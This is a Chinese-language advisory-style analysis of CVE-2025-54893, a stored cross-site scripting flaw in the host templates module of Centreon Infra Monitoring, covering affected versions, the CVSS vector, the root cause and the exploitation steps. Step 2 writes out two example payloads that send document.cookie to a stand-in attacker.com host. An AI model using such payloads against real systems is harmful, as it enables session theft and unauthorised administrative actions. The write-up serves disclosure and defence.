CVE-2025-54893CVE-2025-54893是Centreon Infra Monitoring监控平台主机模板配置模块中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞源于Web页面生成过程中对用户输入的不当中和处理(Improper Neutralization of Input During Web Page Generation),属于OWASP Top 10中典型的注入类安全问题。
Centreon是法国Centreon公司开发的一款开源企业级IT基础设施监控软件,广泛用于服务器、网络设备、应用程序等IT资源的统一监控和管理。该平台提供丰富的配置管理功能,其中主机模板(Hosts Templates)配置模块允许管理员定义可复用的监控模板,用于批量配置被监控的主机。
该漏洞允许具有提升权限的用户(PR:H)在主机模板配置模块中注入恶意的JavaScript脚本或HTML代码。由于是存储型XSS,恶意载荷会被持久化保存到数据库中,当其他用户(包括具有更高权限的管理员)访问受影响的页面时,恶意脚本将在其浏览器中自动执行。
根据CVSS 3.1评分向量,该漏洞的评分为6.8分,属于中危级别。虽然攻击需要高权限(PR:H),但成功利用后可导致高机密性影响(C:H),攻击者可能窃取管理员会话、获取敏感配置信息、执行未授权操作等。漏洞影响范围涵盖Centreon Infra Monitoring 23.10.0至23.10.28以下版本、24.04.0至24.04.18以下版本以及24.10.0至24.10.13以下版本。
该漏洞的根本原因在于Centreon Infra Monitoring主机模板配置模块在处理用户输入数据时,未对输入内容进行充分的过滤和转义处理,导致恶意脚本能够被存储到后端数据库中。
从技术层面分析,漏洞利用流程如下:
1. **输入点识别**:攻击者首先定位主机模板配置模块中未经过滤的输入字段,如模板名称、描述、别名、备注等可编辑字段。这些字段接受用户输入的文本内容,但服务端在存储前未进行HTML/JS特殊字符的转义处理。
2. **恶意载荷构造**:攻击者构造包含JavaScript代码的恶意载荷,典型的XSS载荷如:`<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>`,或使用事件处理器如`<img src=x onerror=fetch('https://attacker.com/?data='+document.cookie)>`。
3. **载荷注入**:具有提升权限的认证用户通过正常配置流程将恶意载荷提交到主机模板配置中。由于缺乏输出编码,服务端直接将原始输入存储到数据库。
4. **触发执行**:当其他用户(尤其是管理员)查看受感染的主机模板列表或详情页面时,服务器从数据库读取存储的数据并直接渲染到HTML页面中,浏览器解析执行嵌入的恶意脚本。
5. **影响达成**:恶意脚本在受害者浏览器上下文中执行,可窃取会话Cookie、CSRF令牌等敏感信息,或以受害者权限执行管理操作。由于Centreon是监控平台,攻击者还可能获取监控数据、修改监控配置、访问被监控系统的凭据等。
该漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N,表明通过网络即可利用、攻击复杂度低、需要高权限、无需用户交互、影响范围可变化、对机密性影响高。